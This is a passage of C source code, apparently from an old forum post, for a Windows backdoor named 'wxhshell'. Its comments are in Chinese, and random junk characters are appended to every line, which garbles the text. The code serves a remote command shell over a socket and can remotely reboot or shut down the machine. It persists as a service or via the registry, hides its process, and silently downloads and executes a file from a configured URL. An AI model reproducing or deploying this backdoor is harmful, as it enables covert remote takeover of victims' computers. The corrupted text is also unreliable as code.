  // 帮助  Vh_P/C+  
  case '?': { i\,-oO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3j\1S1  
    break; ,P;Pm68V  
  } B}lvr-c#  
  // 安装 u6AA4(  
  case 'i': { `$ 6rz  
    if(Install()) ~_/(t'9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vN`klDJgW[  
    else ibj87K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vX/T3WV  
    break; A"L&a l$i  
    } gt@m?w(  
  // 卸载 -*1J f&  
  case 'r': { #qK:J;Sn3  
    if(Uninstall()) ML|FQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f&Gt|  
    else }H^+A77v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KV(Q;~8"X  
    break; >CHrg]9  
    } lhy*h_>  
  // 显示 wxhshell 所在路径 ?l9XAW t\  
  case 'p': { D]zwl@sRX:  
    char svExeFile[MAX_PATH]; 8X[:j&@  
    strcpy(svExeFile,"\n\r"); U/!TKic+  
      strcat(svExeFile,ExeFile); 5>[u `  
        send(wsh,svExeFile,strlen(svExeFile),0); ,J+}rPe"sf  
    break; h2G$@8t}I  
    } Q+[n91ey**  
  // 重启 YtmrRDQs  
  case 'b': { GPN]9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~E17L]ete  
    if(Boot(REBOOT)) 3LOdjT J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e"|efE  
    else { KVclhT<F  
    closesocket(wsh); ]'&LGA`  
    ExitThread(0); s~^5kgPA  
    } V<GHpFi0  
    break; Ayxkv)%:@)  
    } uXn1 'K<'2  
  // 关机 uvkz'R=  
  case 'd': { c2l@6<Ww  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8A##\j )  
    if(Boot(SHUTDOWN)) vS;RJg=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)1y AdG 8  
    else { CsGx@\jN  
    closesocket(wsh); v[1aW v:  
    ExitThread(0); ! >FYK}c7  
    } xi~?>f  
    break; ekWD5,G  
    } O%Xf!4Z  
  // 获取shell d; boIP`M;  
  case 's': { ~vm%6CABM  
    CmdShell(wsh); Z^3rLCa  
    closesocket(wsh); m*&]!mM"0G  
    ExitThread(0); o#3ly-ht  
    break; ; ZA~p  
  } d,k!qjf=r  
  // 退出 T(id^ w  
  case 'x': { Q /U2^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $V -~Bu-  
    CloseIt(wsh); gb[5&> (#  
    break; M?1Y,5  
    } =^M/{51j  
  // 离开 L/$H"YOv  
  case 'q': { glO^yZs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SW@$ci  
    closesocket(wsh); , qMzWa  
    WSACleanup(); fK>L!=Q  
    exit(1); 9+Np4i@  
    break; Cio 1E-4  
        } rBQ_iB_  
  } 0q()|y?}  
  } ^O?/yV?4c  
!|S(Ms  
  // 提示信息 8W*%aOi5+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =W(Q34  
}  dm\F  
  } $*^7iT4q_t  
<}C oQz  
  return; 6AAz  
} BX`{73sw  
D+rxT: d  
// shell模块句柄 bQg c8/  
int CmdShell(SOCKET sock) t% d Z-Ym  
{ 0yk]o5a++  
STARTUPINFO si; |mZxfI  
ZeroMemory(&si,sizeof(si)); Dj"F\j 1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NVkV7y X]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `KZm0d{H  
PROCESS_INFORMATION ProcessInfo; 5'OrHk;u  
char cmdline[]="cmd"; 3#LlDC_WC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %z=le7  
  return 0; E>6MeO  
} zVViLUwG  
p*XANGA  
// 自身启动模式 T$8)u'-pa  
int StartFromService(void) (~p< P+  
{ ; 5*&xz  
typedef struct .73X3`P25  
{ j*|VctM  
  DWORD ExitStatus; ^um<bWNc  
  DWORD PebBaseAddress; T^zXt?  
  DWORD AffinityMask; S\CCrje  
  DWORD BasePriority; ?qb}?&1  
  ULONG UniqueProcessId; (d(CT;  
  ULONG InheritedFromUniqueProcessId; Amtq"<h9a  
}   PROCESS_BASIC_INFORMATION; wW Lj?;bx  
u+9hL4  
PROCNTQSIP NtQueryInformationProcess; k R?qb6  
y6g&Y.:o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >xN .F/[K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; { a =#B)6  
mVj9, q0  
  HANDLE             hProcess; * ` JYC  
  PROCESS_BASIC_INFORMATION pbi; z0 d.J1VW  
34f?6K1c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *I B4[6  
  if(NULL == hInst ) return 0; pE`})/?\*  
D, k6$`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _qF+tm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P9R9(quI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '6DBs8>1  
 {y)=eX9  
  if (!NtQueryInformationProcess) return 0;  CT&|QH{  
5tl< 3g `  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` ./$&'  
  if(!hProcess) return 0; =7?4eYHC  
l5~os>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d9k0F OR1  
&5>Kl}7  
  CloseHandle(hProcess); jVEGj5F;N  
0Fq} N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :a!^   
if(hProcess==NULL) return 0; ,<.V7(|t)  
P?%s #I:  
HMODULE hMod; +5)nk}  
char procName[255]; xw.A #Zb\_  
unsigned long cbNeeded; (O\ )_#-D  
1 s\Wtw:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zOJ%}  
)7hqJa-V  
  CloseHandle(hProcess); Xu{1".\  
z[ N`s$;  
if(strstr(procName,"services")) return 1; // 以服务启动 =0 #O U  
::`HQ@^  
  return 0; // 注册表启动 Fw_#N6Q  
} gM&{=WDG6  
wH*-(*N "  
// 主模块 7 W5@TWM  
int StartWxhshell(LPSTR lpCmdLine) jV i) Efy  
{ td$E/h=3  
  SOCKET wsl; IYv`IS"  
BOOL val=TRUE; x5pdS:  
  int port=0; _T60;ZI+^  
  struct sockaddr_in door; 'B |JAi?  
6%'QjwM_  
  if(wscfg.ws_autoins) Install(); MxKS4k  
$z6_@`[  
port=atoi(lpCmdLine); GblA9F7  
Y/F6\oh  
if(port<=0) port=wscfg.ws_port; -E[Kml~U  
I^.Om])  
  WSADATA data; O 2V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cp\6W[2+B  
poE0{HOU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hW<%R]^|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |]bsCmD  
  door.sin_family = AF_INET; /PVk{3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i$Ul(?  
  door.sin_port = htons(port); cZ,b?I"Q%  
Xg6Jh``  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { soxc0OlN  
closesocket(wsl); yxPazz  
return 1; 2Ah#<k-gC;  
} {p2!|A&a  
l$KA)xbI  
  if(listen(wsl,2) == INVALID_SOCKET) { }dX*[I   
closesocket(wsl); j^*dmX  
return 1; g&L!1<, p  
} 70?\ugxA  
  Wxhshell(wsl); -_g0C^:<,  
  WSACleanup();  ^^sE:  
8S TvCH"Z_  
return 0; M/f<A$xx_  
#~]zhHI  
} H*n-_{h"t  
[jQp~&nY  
// 以NT服务方式启动 &u."A3(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `7E;VL^Y1  
{ T=DbBy0-  
DWORD   status = 0; %@b0[ZC  
  DWORD   specificError = 0xfffffff; h,:m~0gmj  
]h`&&Bqt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LE Nq_@$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bIDj[-CDG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P}}* Q7P  
  serviceStatus.dwWin32ExitCode     = 0; l:~/<`o  
  serviceStatus.dwServiceSpecificExitCode = 0; J3V= 46Yc  
  serviceStatus.dwCheckPoint       = 0; fUWG*o9  
  serviceStatus.dwWaitHint       = 0; XSB"{H>&  
n` _{9R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,&A7iO  
  if (hServiceStatusHandle==0) return; RMV/&85?y  
6yG^p]zZ  
status = GetLastError(); g{)dP!}  
  if (status!=NO_ERROR) ^LnTOdAE  
{ B3`5O[ 6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {lzWrUGO  
    serviceStatus.dwCheckPoint       = 0; QW~E&B%  
    serviceStatus.dwWaitHint       = 0; =ZznFVJ`={  
    serviceStatus.dwWin32ExitCode     = status; ,<_A2t 2  
    serviceStatus.dwServiceSpecificExitCode = specificError;  4\N ;2N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !qQl@j O  
    return; y-b%T|p9  
  } 1s&zMWC  
u/0h$l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WDYeOtc  
  serviceStatus.dwCheckPoint       = 0; yWc$>ne[L  
  serviceStatus.dwWaitHint       = 0; tKuwpT1Qc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "S]0  
} `g?Negt\v  
W+c<2?d:  
// 处理NT服务事件,比如:启动、停止 x j)F55e?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HyQJXw?A:  
{ O/(`S<iip  
switch(fdwControl) }"H,h)T  
{ qBQ?HLK-  
case SERVICE_CONTROL_STOP: G$"h&Xy1c  
  serviceStatus.dwWin32ExitCode = 0; ?4}h&/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xIW3={b3  
  serviceStatus.dwCheckPoint   = 0; i^&~?2  
  serviceStatus.dwWaitHint     = 0; Vm(y7}Aq{  
  { Ml{,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p`dU2gV  
  } 2a)xTA#  
  return; FX&~\kmV'j  
case SERVICE_CONTROL_PAUSE: &BLJT9Frx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EJ.SW5  
  break; 76Cl\rV  
case SERVICE_CONTROL_CONTINUE: ,-LwtePJ0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >2)OiQ`zg  
  break; U}[d_f  
case SERVICE_CONTROL_INTERROGATE: H2\;%K 2  
  break; | j`@eF/"  
}; :r,pqnH_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Cpl?Io`r5  
} eK=xrk  
YlQ=5u^+  
// 标准应用程序主函数 d"mkL-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =o(5_S.u;  
{ 9&2O 9Nz6  
IMFDM."s  
// 获取操作系统版本 t|\%VC  
OsIsNt=GetOsVer(); I*{ nP)^9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d L 1tl  
LmrfN?5  
  // 从命令行安装 myQagqRx  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~H_/zK6e  
nNV'O(x}  
  // 下载执行文件 dq6m>;`  
if(wscfg.ws_downexe) { _/$Bpr{R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }eU*( }<^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~ 'cmSiz-  
} xh,qNnGGi  
\ a<h/4#|  
if(!OsIsNt) { <z&/L/bl"  
// 如果时win9x,隐藏进程并且设置为注册表启动 )[6U^j4  
HideProc(); xC:L)7#aw  
StartWxhshell(lpCmdLine); ::lKL  
} wu!59pL  
else a2O75 kWnm  
  if(StartFromService()) zT.7  
  // 以服务方式启动 LgU_LcoM*  
  StartServiceCtrlDispatcher(DispatchTable); 6 7.+ .2  
else [Td4K.c  
  // 普通方式启动 `pa!~|p  
  StartWxhshell(lpCmdLine); {hjhL: pg  
~ "H,/m%2o  
return 0; {SPq$B_VR  
}
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只看该作者 1 发表于: 2006-10-10
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